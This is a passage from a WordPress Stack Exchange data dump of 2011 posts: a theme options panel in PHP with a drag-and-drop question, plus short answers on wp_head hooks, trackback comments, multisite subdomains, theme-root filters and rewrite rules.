&quot;text&quot;,&#xA;    &quot;std&quot; =&amp;gt; &quot;Indirizzo del post qui&quot;),&#xA;array( &quot;type&quot; =&amp;gt; &quot;close&quot;),&#xA;array( &quot;name&quot; =&amp;gt; &quot;Zona 9&quot;,&#xA;    &quot;type&quot; =&amp;gt; &quot;section&quot;),&#xA;array( &quot;type&quot; =&amp;gt; &quot;open&quot;),&#xA;array(  &quot;name&quot; =&amp;gt; &quot;Attivare zona 9?&quot;,&#xA;        &quot;desc&quot; =&amp;gt; &quot;Seleziona se vuoi il nono fermaposto&quot;,&#xA;        &quot;id&quot; =&amp;gt; $shortname.&quot;_zona9c&quot;,&#xA;        &quot;type&quot; =&amp;gt; &quot;checkbox&quot;,&#xA;        &quot;std&quot; =&amp;gt; &quot;false&quot;),&#xA;array( &quot;name&quot; =&amp;gt; &quot;Zona 9 Nome&quot;,&#xA;    &quot;desc&quot; =&amp;gt; &quot;Inserisci il nome del nono appartamento&quot;,&#xA;    &quot;id&quot; =&amp;gt; $shortname.&quot;_zona9n&quot;,&#xA;    &quot;type&quot; =&amp;gt; &quot;text&quot;,&#xA;    &quot;std&quot; =&amp;gt; &quot;Nome dell'appartamento&quot;),&#xA;array( &quot;name&quot; =&amp;gt; &quot;Zona 9 Asse x&quot;,&#xA;    &quot;desc&quot; =&amp;gt; &quot;Scegli dove posizionare il nono punto, se attivato asse x&quot;,&#xA;    &quot;id&quot; =&amp;gt; $shortname.&quot;_zona9x&quot;,&#xA;    &quot;type&quot; =&amp;gt; &quot;text&quot;,&#xA;    &quot;std&quot; =&amp;gt; &quot;Left:???&quot;),&#xA;array( &quot;name&quot; =&amp;gt; &quot;Zona 9 Asse y&quot;,&#xA;    &quot;desc&quot; =&amp;gt; &quot;Scegli dove posizionare il nono punto, se attivato asse y&quot;,&#xA;    &quot;id&quot; =&amp;gt; $shortname.&quot;_zona9y&quot;,&#xA;    &quot;type&quot; =&amp;gt; &quot;text&quot;,&#xA;    &quot;std&quot; =&amp;gt; &quot;Top:???&quot;),&#xA;    array( &quot;name&quot; =&amp;gt; &quot;Zona 9 URL&quot;,&#xA;    &quot;desc&quot; =&amp;gt; &quot;Inserisci il link al post della zona 9&quot;,&#xA;    &quot;id&quot; =&amp;gt; $shortname.&quot;_zona9l&quot;,&#xA;    &quot;type&quot; =&amp;gt; &quot;text&quot;,&#xA;    &quot;std&quot; =&amp;gt; &quot;Indirizzo del post qui&quot;),&#xA;array( &quot;type&quot; =&amp;gt; &quot;close&quot;),&#xA;array( &quot;name&quot; =&amp;gt; &quot;Zona 10&quot;,&#xA;    &quot;type&quot; =&amp;gt; &quot;section&quot;),&#xA;array( &quot;type&quot; =&amp;gt; &quot;open&quot;),&#xA;array(  &quot;name&quot; =&amp;gt; &quot;Attivare zona 10?&quot;,&#xA;        &quot;desc&quot; =&amp;gt; &quot;Seleziona se vuoi il decimo fermaposto&quot;,&#xA;        &quot;id&quot; =&amp;gt; $shortname.&quot;_zona10c&quot;,&#xA;        &quot;type&quot; =&amp;gt; &quot;checkbox&quot;,&#xA;        &quot;std&quot; =&amp;gt; &quot;false&quot;),&#xA;array( &quot;name&quot; =&amp;gt; &quot;Zona 10 Nome&quot;,&#xA;    &quot;desc&quot; =&amp;gt; &quot;Inserisci il nome del decimo appartamento&quot;,&#xA;    &quot;id&quot; =&amp;gt; $shortname.&quot;_zona10n&quot;,&#xA;    &quot;type&quot; =&amp;gt; &quot;text&quot;,&#xA;    &quot;std&quot; =&amp;gt; &quot;Nome dell'appartamento&quot;),&#xA;array( &quot;name&quot; =&amp;gt; &quot;Zona 10 Asse x&quot;,&#xA;    &quot;desc&quot; =&amp;gt; &quot;Scegli dove posizionare il decimo punto, se attivato asse x&quot;,&#xA;    &quot;id&quot; =&amp;gt; $shortname.&quot;_zona10x&quot;,&#xA;    &quot;type&quot; =&amp;gt; &quot;text&quot;,&#xA;    &quot;std&quot; =&amp;gt; &quot;Left:???&quot;),&#xA;array( &quot;name&quot; =&amp;gt; &quot;Zona 10 Asse y&quot;,&#xA;    &quot;desc&quot; =&amp;gt; &quot;Scegli dove posizionare il decimo punto, se attivato asse y&quot;,&#xA;    &quot;id&quot; =&amp;gt; $shortname.&quot;_zona10y&quot;,&#xA;    &quot;type&quot; =&amp;gt; &quot;text&quot;,&#xA;    &quot;std&quot; =&amp;gt; &quot;Top:???&quot;),&#xA;    array( &quot;name&quot; =&amp;gt; &quot;Zona 10 URL&quot;,&#xA;    &quot;desc&quot; =&amp;gt; &quot;Inserisci il link al post della zona 10&quot;,&#xA;    &quot;id&quot; =&amp;gt; $shortname.&quot;_zona10l&quot;,&#xA;    &quot;type&quot; =&amp;gt; &quot;text&quot;,&#xA;    &quot;std&quot; =&amp;gt; &quot;Indirizzo del post qui&quot;),&#xA;array( &quot;type&quot; =&amp;gt; &quot;close&quot;),&#xA;array( &quot;type&quot; =&amp;gt; &quot;close&quot;),&#xA;);&#xA;&#xA;function appaqua_add_admin() {&#xA;&#xA;global $themename, $shortname, $options;&#xA;&#xA;if ( $_GET['page'] == basename(__FILE__) ) {&#xA;&#xA;    if ( 'save' == $_REQUEST['action'] ) {&#xA;&#xA;        foreach ($options as $value) {&#xA;        update_option( $value['id'], $_REQUEST[ $value['id'] ] ); }&#xA;&#xA;foreach ($options as $value) {&#xA;    if( isset( $_REQUEST[ $value['id'] ] ) ) { update_option( $value['id'], $_REQUEST[ $value['id'] ]  ); } else { delete_option( $value['id'] ); } }&#xA;&#xA;    header(&quot;Location: admin.php?page=admin-panel.php&amp;amp;saved=true&quot;);&#xA;die;&#xA;&#xA;} &#xA;else if( 'reset' == $_REQUEST['action'] ) {&#xA;&#xA;    foreach ($options as $value) {&#xA;        delete_option( $value['id'] ); }&#xA;&#xA;    header(&quot;Location: admin.php?page=admin-panel.php&amp;amp;reset=true&quot;);&#xA;die;&#xA;&#xA;}&#xA;}&#xA;&#xA;add_menu_page($themename, $themename, 'administrator', basename(__FILE__), 'appaqua_admin');&#xA;}&#xA;&#xA;function appaqua_add_init() {&#xA;$file_dir=get_bloginfo('template_directory');&#xA;wp_enqueue_style(&quot;functions&quot;, $file_dir.&quot;/includes/css/functions.css&quot;, false, &quot;1.0&quot;, &quot;all&quot;);&#xA;wp_enqueue_script(&quot;rm_script&quot;, $file_dir.&quot;/includes/js/rm_script.js&quot;, false, &quot;1.0&quot;);&#xA;wp_enqueue_script(&quot;site_preview&quot;, $file_dir.&quot;/includes/js/preview.js&quot;, false, &quot;1.0&quot;);&#xA;};&#xA;&#xA;function appaqua_admin() {&#xA;&#xA;global $themename, $shortname, $options;&#xA;$i=0;&#xA;&#xA;if ( $_REQUEST['saved'] ) echo '&amp;lt;div id=&quot;message&quot; class=&quot;updated fade&quot;&amp;gt;&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;'.$themename.' settings saved.&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;';&#xA;if ( $_REQUEST['reset'] ) echo '&amp;lt;div id=&quot;message&quot; class=&quot;updated fade&quot;&amp;gt;&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;'.$themename.' settings reset.&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;';&#xA;&#xA;?&amp;gt;&#xA;&amp;lt;div class=&quot;wrap rm_wrap&quot;&amp;gt;&#xA;&amp;lt;h2&amp;gt;&amp;lt;?php echo $themename; ?&amp;gt; Settings&amp;lt;/h2&amp;gt;&#xA;&#xA;&amp;lt;div class=&quot;rm_opts&quot;&amp;gt;&#xA;&amp;lt;form method=&quot;post&quot;&amp;gt;&#xA;&amp;lt;?php foreach ($options as $value) {&#xA;switch ( $value['type'] ) {&#xA;&#xA;case &quot;open&quot;:&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;?php break;&#xA;&#xA;case &quot;close&quot;:&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;br /&amp;gt;&#xA;&#xA;&#xA;&amp;lt;?php break;&#xA;&#xA;case &quot;title&quot;:&#xA;?&amp;gt;&#xA;&amp;lt;p&amp;gt;To easily use the &amp;lt;?php echo $themename;?&amp;gt; theme, you can use the menu below.&amp;lt;/p&amp;gt;&#xA;&#xA;&#xA;&amp;lt;?php break;&#xA;&#xA;case 'text':&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;div class=&quot;rm_input rm_text&quot;&amp;gt;&#xA;    &amp;lt;label for=&quot;&amp;lt;?php echo $value['id']; ?&amp;gt;&quot;&amp;gt;&amp;lt;?php echo $value['name']; ?&amp;gt;&amp;lt;/label&amp;gt;&#xA;    &amp;lt;input name=&quot;&amp;lt;?php echo $value['id']; ?&amp;gt;&quot; id=&quot;&amp;lt;?php echo $value['id']; ?&amp;gt;&quot; type=&quot;&amp;lt;?php echo $value['type']; ?&amp;gt;&quot; value=&quot;&amp;lt;?php if ( get_settings( $value['id'] ) != &quot;&quot;) { echo stripslashes(get_settings( $value['id'])  ); } else { echo $value['std']; } ?&amp;gt;&quot; /&amp;gt;&#xA; &amp;lt;small&amp;gt;&amp;lt;?php echo $value['desc']; ?&amp;gt;&amp;lt;/small&amp;gt;&amp;lt;div class=&quot;clearfix&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&#xA; &amp;lt;/div&amp;gt;&#xA;&amp;lt;?php&#xA;break;&#xA;&#xA;case 'textarea':&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;div class=&quot;rm_input rm_textarea&quot;&amp;gt;&#xA;    &amp;lt;label for=&quot;&amp;lt;?php echo $value['id']; ?&amp;gt;&quot;&amp;gt;&amp;lt;?php echo $value['name']; ?&amp;gt;&amp;lt;/label&amp;gt;&#xA;    &amp;lt;textarea name=&quot;&amp;lt;?php echo $value['id']; ?&amp;gt;&quot; type=&quot;&amp;lt;?php echo $value['type']; ?&amp;gt;&quot; cols=&quot;&quot; rows=&quot;&quot;&amp;gt;&amp;lt;?php if ( get_settings( $value['id'] ) != &quot;&quot;) { echo stripslashes(get_settings( $value['id']) ); } else { echo $value['std']; } ?&amp;gt;&amp;lt;/textarea&amp;gt;&#xA; &amp;lt;small&amp;gt;&amp;lt;?php echo $value['desc']; ?&amp;gt;&amp;lt;/small&amp;gt;&amp;lt;div class=&quot;clearfix&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&#xA; &amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;?php&#xA;break;&#xA;&#xA;case 'select':&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;div class=&quot;rm_input rm_select&quot;&amp;gt;&#xA;    &amp;lt;label for=&quot;&amp;lt;?php echo $value['id']; ?&amp;gt;&quot;&amp;gt;&amp;lt;?php echo $value['name']; ?&amp;gt;&amp;lt;/label&amp;gt;&#xA;&#xA;&amp;lt;select name=&quot;&amp;lt;?php echo $value['id']; ?&amp;gt;&quot; id=&quot;&amp;lt;?php echo $value['id']; ?&amp;gt;&quot;&amp;gt;&#xA;&amp;lt;?php foreach ($value['options'] as $option) { ?&amp;gt;&#xA;        &amp;lt;option &amp;lt;?php if (get_settings( $value['id'] ) == $option) { echo 'selected=&quot;selected&quot;'; } ?&amp;gt;&amp;gt;&amp;lt;?php echo $option; ?&amp;gt;&amp;lt;/option&amp;gt;&amp;lt;?php } ?&amp;gt;&#xA;&amp;lt;/select&amp;gt;&#xA;&#xA;    &amp;lt;small&amp;gt;&amp;lt;?php echo $value['desc']; ?&amp;gt;&amp;lt;/small&amp;gt;&amp;lt;div class=&quot;clearfix&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;?php&#xA;break;&#xA;&#xA;case &quot;checkbox&quot;:&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;div class=&quot;rm_input rm_checkbox&quot;&amp;gt;&#xA;    &amp;lt;label for=&quot;&amp;lt;?php echo $value['id']; ?&amp;gt;&quot;&amp;gt;&amp;lt;?php echo $value['name']; ?&amp;gt;&amp;lt;/label&amp;gt;&#xA;&#xA;&amp;lt;?php if(get_option($value['id'])){ $checked = &quot;checked=\&quot;checked\&quot;&quot;; }else{ $checked = &quot;&quot;;} ?&amp;gt;&#xA;&amp;lt;input type=&quot;checkbox&quot; name=&quot;&amp;lt;?php echo $value['id']; ?&amp;gt;&quot; id=&quot;&amp;lt;?php echo $value['id']; ?&amp;gt;&quot; value=&quot;true&quot; &amp;lt;?php echo $checked; ?&amp;gt; /&amp;gt;&#xA;&#xA;&#xA;    &amp;lt;small&amp;gt;&amp;lt;?php echo $value['desc']; ?&amp;gt;&amp;lt;/small&amp;gt;&amp;lt;div class=&quot;clearfix&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA; &amp;lt;/div&amp;gt;&#xA;&amp;lt;?php break; &#xA;case &quot;section&quot;:&#xA;&#xA;$i++;&#xA;&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;div class=&quot;rm_section&quot;&amp;gt;&#xA;&amp;lt;div class=&quot;rm_title&quot;&amp;gt;&amp;lt;h3&amp;gt;&amp;lt;img src=&quot;&amp;lt;?php bloginfo('template_directory')?&amp;gt;/includes/css/images/trans.png&quot; class=&quot;inactive&quot; alt=&quot;&quot;&quot;&amp;gt;&amp;lt;?php echo $value['name']; ?&amp;gt;&amp;lt;/h3&amp;gt;&amp;lt;span class=&quot;submit&quot;&amp;gt;&amp;lt;input name=&quot;save&amp;lt;?php echo $i; ?&amp;gt;&quot; type=&quot;submit&quot; value=&quot;Save changes&quot; /&amp;gt;&#xA;&amp;lt;/span&amp;gt;&amp;lt;div class=&quot;clearfix&quot;&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div class=&quot;rm_options&quot;&amp;gt;&#xA;&amp;lt;?php break;&#xA;}&#xA;}&#xA;?&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;action&quot; value=&quot;save&quot; /&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&amp;lt;form method=&quot;post&quot;&amp;gt;&#xA;&amp;lt;p class=&quot;submit&quot;&amp;gt;&#xA;&amp;lt;input name=&quot;reset&quot; type=&quot;submit&quot; value=&quot;Reset&quot; /&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;action&quot; value=&quot;reset&quot; /&amp;gt;&#xA;&amp;lt;/p&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&amp;lt;div style=&quot;font-size:9px; margin-bottom:10px;&quot;&amp;gt;Icons: &amp;lt;a href=&quot;http://www.woothemes.com/2009/09/woofunction/&quot;&amp;gt;WooFunction&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;&#xA; &amp;lt;/div&amp;gt;&#xA; &amp;lt;iframe id=&quot;themepreview&quot; name=&quot;themepreview&quot; src=&quot;&amp;lt;?php echo get_option('appaqua_pama'); ?&amp;gt;/?preview=1&quot;&amp;gt;&amp;lt;/iframe&amp;gt;&#xA;&amp;lt;?php&#xA;}&#xA;?&amp;gt;&#xA;&amp;lt;?php&#xA;$nonce = wp_create_nonce('site_preview');&#xA;?&amp;gt;&#xA;&amp;lt;?php&#xA;add_action('admin_init', 'appaqua_add_init');&#xA;add_action('admin_menu', 'appaqua_add_admin');&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is the css stylesheet of the divs I would like to move with DRAG &amp;amp; DROP &lt;strong&gt;(only in backend&lt;/strong&gt;): &lt;a href=&quot;http://pastebin.com/pih7yaT1&quot; rel=&quot;nofollow&quot;&gt;http://pastebin.com/pih7yaT1&lt;/a&gt; or:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php define('WP_USE_THEMES', true);&#xA;require('./wp-blog-header.php');?&amp;gt;&#xA;.mappa{width:960px;height:394px;background:url(&amp;lt;?php bloginfo(template_url);?&amp;gt;/mappa/images/mappa.png);margin:0 auto;}&#xA;#zona1{width:27px;height:27px;background:#000;z-index:10000;position:relative;top:&amp;lt;?php echo get_option('appaqua_zona1x');?&amp;gt;px;left:&amp;lt;?php echo get_option('appaqua_zona1y');?&amp;gt;px;}&#xA;#zona2{width:27px;height:27px;background:#000;z-index:10000;position:relative;top:&amp;lt;?php echo get_option('appaqua_zona2x');?&amp;gt;px;left:&amp;lt;?php echo get_option('appaqua_zona2y');?&amp;gt;px;}&#xA;#zona3{width:27px;height:27px;background:#000;z-index:10000;position:relative;top:&amp;lt;?php echo get_option('appaqua_zona3x');?&amp;gt;px;left:&amp;lt;?php echo get_option('appaqua_zona3y');?&amp;gt;px;}&#xA;#zona4{width:27px;height:27px;background:#000;z-index:10000;position:relative;top:&amp;lt;?php echo get_option('appaqua_zona4x');?&amp;gt;px;left:&amp;lt;?php echo get_option('appaqua_zona4y');?&amp;gt;px;}&#xA;#zona5{width:27px;height:27px;background:#000;z-index:10000;position:relative;top:&amp;lt;?php echo get_option('appaqua_zona5x');?&amp;gt;px;left:&amp;lt;?php echo get_option('appaqua_zona5y');?&amp;gt;px;}&#xA;#zona6{width:27px;height:27px;background:#000;z-index:10000;position:relative;top:&amp;lt;?php echo get_option('appaqua_zona6x');?&amp;gt;px;left:&amp;lt;?php echo get_option('appaqua_zona6y');?&amp;gt;px;}&#xA;#zona7{width:27px;height:27px;background:#000;z-index:10000;position:relative;top:&amp;lt;?php echo get_option('appaqua_zona7x');?&amp;gt;px;left:&amp;lt;?php echo get_option('appaqua_zona7y');?&amp;gt;px;}&#xA;#zona8{width:27px;height:27px;background:#000;z-index:10000;position:relative;top:&amp;lt;?php echo get_option('appaqua_zona8x');?&amp;gt;px;left:&amp;lt;?php echo get_option('appaqua_zona8y');?&amp;gt;px;}&#xA;#zona9{width:27px;height:27px;background:#000;z-index:10000;position:relative;top:&amp;lt;?php echo get_option('appaqua_zona9x');?&amp;gt;px;left:&amp;lt;?php echo get_option('appaqua_zona9y');?&amp;gt;px;}&#xA;#zona10{width:27px;height:27px;background:#000;z-index:10000;position:relative;top:&amp;lt;?php echo get_option('appaqua_zona10x');?&amp;gt;px;left:&amp;lt;?php echo get_option('appaqua_zona10y');?&amp;gt;px;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I hope that someone can help me and please, if you need more info just ask...&#xA;Thank you very much to all!&lt;/p&gt;&#xA;" OwnerUserId="4107" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-03-24T12:46:24.357" LastActivityDate="2011-03-24T14:05:35.457" Title="How to add drag and drop functionalities to a div inside option panel" Tags="&lt;php&gt;&lt;jquery&gt;&lt;css&gt;&lt;javascript&gt;&lt;theme-options&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="2" />
  <row Id="12927" PostTypeId="2" ParentId="12918" CreationDate="2011-03-24T12:41:37.963" Score="1" ViewCount="" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Is there somewhere I can see this&#xA;  default implementation?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;wp_head()&lt;/code&gt; function simply triggers the &lt;code&gt;wp_head&lt;/code&gt; action hook that runs all callback functions that were added to this hook using &lt;code&gt;add_action('wp_head','callback_function');&lt;/code&gt;&#xA;So there is no &lt;em&gt;default implementation&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Can this default implementation be &quot;turned off&quot;?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Like we said before since there is no &lt;em&gt;default implementation&lt;/em&gt; you need to find the add_action's that hook to wp_head and remove them using remove_action for example if this is the add_action:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('wp_head','callback_function');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then to remove it just add&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;remove_action('wp_head','callback_function');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Can the &quot;Color Options&quot; option be disabled in the admin screen for the theme?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I'm assuming that your theme as some kind of options panel that let you chose the color options, so to  disable it it depends on the theme it self but it should be in one of the theme files, knowing what theme you are talking about would help.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Update&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;there are some action by defult running when wp_head is fired and to remove them just use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;remove_action('wp_head', 'rsd_link');&#xA;remove_action('wp_head', 'wp_generator');&#xA;remove_action('wp_head', 'feed_links', 2);&#xA;remove_action('wp_head', 'index_rel_link');&#xA;remove_action('wp_head', 'wlwmanifest_link');&#xA;remove_action('wp_head', 'feed_links_extra', 3);&#xA;remove_action('wp_head', 'start_post_rel_link', 10, 0);&#xA;remove_action('wp_head', 'parent_post_rel_link', 10, 0);&#xA;remove_action('wp_head', 'adjacent_posts_rel_link', 10, 0);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;other then that look for &lt;code&gt;add_action('wp_head' ...&lt;/code&gt; in theme files and plugins.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-03-24T13:04:30.713" LastActivityDate="2011-03-24T13:04:30.713" CommentCount="4" />
  <row Id="12928" PostTypeId="2" ParentId="12892" CreationDate="2011-03-24T13:03:19.107" Score="2" ViewCount="" Body="&lt;p&gt;It seems &lt;a href=&quot;http://plugins.trac.wordpress.org/browser/gd-star-rating/tags/1.9.7/code/blg/query.php#L76&quot; rel=&quot;nofollow&quot;&gt;GD Star Rating uses &lt;code&gt;get_query_var()&lt;/code&gt;&lt;/a&gt; to read query variables, which only reads this global &lt;code&gt;$wp_query&lt;/code&gt; variable. &lt;code&gt;query_posts()&lt;/code&gt; overwrites the global &lt;code&gt;$wp_query&lt;/code&gt; variable, so it works there, but creating a new &lt;code&gt;WP_Query&lt;/code&gt; (which is a good practice) will not work. You should contact the plugin author and ask for a fix.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-03-24T13:03:19.107" CommentCount="1" />
  <row Id="12929" PostTypeId="1" CreationDate="2011-03-24T13:06:03.880" Score="0" ViewCount="27" Body="&lt;p&gt;I get a bunch of comments that simply repeat the title with '[...]'.&#xA;ie:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[...] Some cool post title [...]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is this spam or is wordpress doing something wrong? I have the akismet plugin enabled.&lt;/p&gt;&#xA;" OwnerUserId="4186" LastActivityDate="2011-03-24T13:15:50.270" Title="What do comments with [...] mean?" Tags="&lt;posts&gt;&lt;comments&gt;&lt;spam&gt;&lt;akismet&gt;" AnswerCount="1" />
  <row Id="12930" PostTypeId="1" CreationDate="2011-03-24T13:07:47.000" Score="0" ViewCount="122" Body="&lt;p&gt;A client wants to set up a multi site with tabs looking like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;| Home | About | Broker | Resources&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the main site (meaning www.site.com), the links will be www.site.com/home, www.site.com/about, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Broker is a drop-down with Broker names that will be subdomains, like john.site.com. When the visitor clicks on an broker, and goes to the sudomain, they want all the tab links to be john.site.com/home, john.site.com/about, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obviously they don't want to have to copy all the posts and pages over to the each subdomain that are the throughout the site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the best way of doing this?&lt;/p&gt;&#xA;" OwnerUserId="4187" LastEditorUserId="4187" LastEditorDisplayName="" LastEditDate="2011-03-25T23:00:20.217" LastActivityDate="2011-08-19T07:26:59.120" Title="How to do multi site setup" Tags="&lt;3.0&gt;&lt;multisite&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="12931" PostTypeId="1" AcceptedAnswerId="13019" CreationDate="2011-03-24T13:15:23.283" Score="0" ViewCount="385" Body="&lt;p&gt;Some plugins use the &lt;code&gt;'template'&lt;/code&gt;, &lt;code&gt;'option_template'&lt;/code&gt; and &lt;code&gt;'option_stylesheet'&lt;/code&gt; to dynamically serve (alternative) wordpress templates. For example, Nathan Rice's &lt;code&gt;ServeDefaultToIESix&lt;/code&gt;. &#xA;For Example - &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('template', 'change_theme');&#xA;add_filter('option_template', 'change_theme');&#xA;add_filter('option_stylesheet', 'change_theme');&#xA;&#xA;function change_theme() &#xA;{&#xA;    // Alternate theme&#xA;    return 'AwesomeTheme';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Above code only works from a wordpress plugin. What i need, is to switch to alternative template, &lt;strong&gt;&lt;em&gt;located in one of the subfolders&lt;/em&gt;&lt;/strong&gt; of the current theme(template). Examples: display an alternative HTML5 theme, serve mobile users a minimal version of the site.. etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to use 'theme_root' and 'theme_root_uri' as below. But that isn't working.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Extra lines to change the theme's root.&#xA;add_filter('theme_root', 'change_theme_root');&#xA;add_filter('theme_root', 'change_theme_root_uri');&#xA;//&#xA;add_filter('template', 'change_theme');&#xA;add_filter('option_template', 'change_theme');&#xA;add_filter('option_stylesheet', 'change_theme');&#xA;&#xA;function change_theme() &#xA;{&#xA;    // Display Alternate theme&#xA;    return 'AwesomeTheme';&#xA;}&#xA;&#xA;function change_theme_root()&#xA;{&#xA;    // Return the new theme root&#xA;    return WP_CONTENT_DIR . 'themes/OrigTheme/lib/AltThemes';&#xA;}&#xA;&#xA;function change_theme_root_uri()&#xA;{ &#xA;     // Return the new theme root uri&#xA;     return get_bloginfo('wpurl') . '/wp-content/themes/OrigTheme/lib/AltThemes';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is this the correct way of doing it? Or does anyone know of the possible way to do so?&#xA;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="4182" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-05-27T14:27:11.020" LastActivityDate="2011-05-27T14:27:11.020" Title="Dynamic template serving, change theme_root using add_filter from current theme" Tags="&lt;themes&gt;&lt;template&gt;&lt;wpse-plugin&gt;" AnswerCount="3" CommentCount="2" FavoriteCount="1" />
  <row Id="12932" PostTypeId="2" ParentId="12929" CreationDate="2011-03-24T13:15:50.270" Score="4" ViewCount="" Body="&lt;p&gt;Its most likely to be a TrackBack or pingback:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;In a nutshell, TrackBack was designed&#xA;  to provide a method of notification&#xA;  between websites: it is a method of&#xA;  person A saying to person B, &quot;This is&#xA;  something you may be interested in.&quot;&#xA;  To do that, person A sends a TrackBack&#xA;  ping to person B.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-03-24T13:15:50.270" />
  <row Id="12933" PostTypeId="2" ParentId="12921" CreationDate="2011-03-24T13:20:20.767" Score="1" ViewCount="" Body="&lt;p&gt;WordPress rewrite rules by default are no longer stored in the Apache configuration, but are handled by WordPress itself. This was probably not the case when that forum topic was written (5 years ago), but currently only &quot;external&quot; rules end up in the Apache configuration, all others are stored in the database and handled by &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.1/wp-includes/class-wp.php#L110&quot; rel=&quot;nofollow&quot;&gt;the &lt;code&gt;WP::parse_request()&lt;/code&gt; function&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This means you should leave off the Apache-specific parts in your &lt;code&gt;add_rewrite_rule()&lt;/code&gt; call. The following code looks better:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_rewrite_rule(&#xA;    // The beginning `^` is added by WordPress&#xA;    '([0-9]{4})/([0-9]{1,2})/([0-9]{1,2})/([^/]+)/comments/?$',&#xA;    // `$1` should be replaced with `$matches[1]`&#xA;    'index.php?year=$matches[1]&amp;amp;monthnum=$matches[2]&amp;amp;day=$matches[3]&amp;amp;name=$matches[4]&amp;amp;comments=1',&#xA;    'top'&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I tested this with &lt;a href=&quot;http://wordpress.stackexchange.com/questions/3606/a-tool-to-analyze-rewrite-rules/3608#3608&quot;&gt;my Rewrite analyzer plugin&lt;/a&gt;, I noticed that &lt;code&gt;comments&lt;/code&gt; is not a standard query variable, so remember that you will have to handle that too.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-03-24T13:20:20.767" CommentCount="7" />
